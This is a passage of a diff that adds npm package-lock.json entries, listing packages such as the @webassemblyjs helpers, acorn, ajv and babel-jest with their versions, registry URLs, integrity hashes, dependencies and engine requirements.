"https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "deprecated": "Use your platform's native atob() and btoa() methods instead" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.11.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", + "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-assertions": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/adjust-sourcemap-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz", + "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==", + "dependencies": { + "loader-utils": "^2.0.0", + "regex-parser": "^2.2.11" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ajv/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "dev": true, + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz", + "integrity": "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==", + "dependencies": { + "call-bind": "^1.0.5", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/array-includes": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.7.tgz", + "integrity": "sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.filter": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/array.prototype.filter/-/array.prototype.filter-1.0.3.tgz", + "integrity": "sha512-VizNcj/RGJiUyQBgzwxzE5oHdeuXY5hSbbmKMlphj1cy1Vl7Pn2asCGbSrru6hSQjmCzqTBPVWAF/whmEOVHbw==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlastindex": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.4.tgz", + "integrity": "sha512-hzvSHUshSpCflDR1QMUBLHGHP1VIEBegT4pix9H/Z92Xw3ySoy6c2qh7lJWTJnRJ8JCZ9bJNCgTyYaJGcJu6xQ==", + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.3.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz", + "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz", + "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.reduce": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.6.tgz", + "integrity": "sha512-UW+Mz8LG/sPSU8jRDCjVr6J/ZKAGpHfwrZ6kWTG5qCxIEiXdVshqGnu5vEZA8S1y6X4aCSbQZ0/EEsfvEvBiSg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.3.tgz", + "integrity": "sha512-/DdH4TiTmOKzyQbp/eadcCVexiCb36xJg7HshYOYJnNZFDj33GEv0P7GxsynpShhq4OLYJzbGcBDkLsDt7MnNg==", + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.1.0", + "es-shim-unscopables": "^1.0.2" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz", + "integrity": "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.2.1", + "get-intrinsic": "^1.2.3", + "is-array-buffer": "^3.0.4", + "is-shared-array-buffer": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "node_modules/ast-types-flow": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz", + "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==" + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz", + "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==" + }, + "node_modules/asynciterator.prototype": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz", + "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==", + "dependencies": { + "has-symbols": "^1.0.3" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.17", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.17.tgz", + "integrity": "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "browserslist": "^4.22.2", + "caniuse-lite": "^1.0.30001578", + "fraction.js": "^4.3.7", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.6.tgz", + "integrity": "sha512-j1QzY8iPNPG4o4xmO3ptzpRxTciqD3MgEHtifP/YnJpIo58Xu+ne4BejlbkuaLfXn/nz6HFiw29bLpj2PNMdGg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axe-core": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.7.0.tgz", + "integrity": "sha512-M0JtH+hlOL5pLQwHOLNYZaXuhqmvS8oExsqB1SBYgA4Dk7u/xx+YdGHXaK5pyUfed5mYXdlYiphWq3G8cRi5JQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/axobject-query": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-3.2.1.tgz", + "integrity": "sha512-jsyHu61e6N4Vbz/v18DHwWYKK0bSWLqn47eeDSKPB7m8tqMHF9YJ+mhIk2lVteyZrY8tnSj/jHOv4YiTCuCJgg==", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/babel-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz", + "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==", + "dependencies": { + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.8.0" + } + }, + 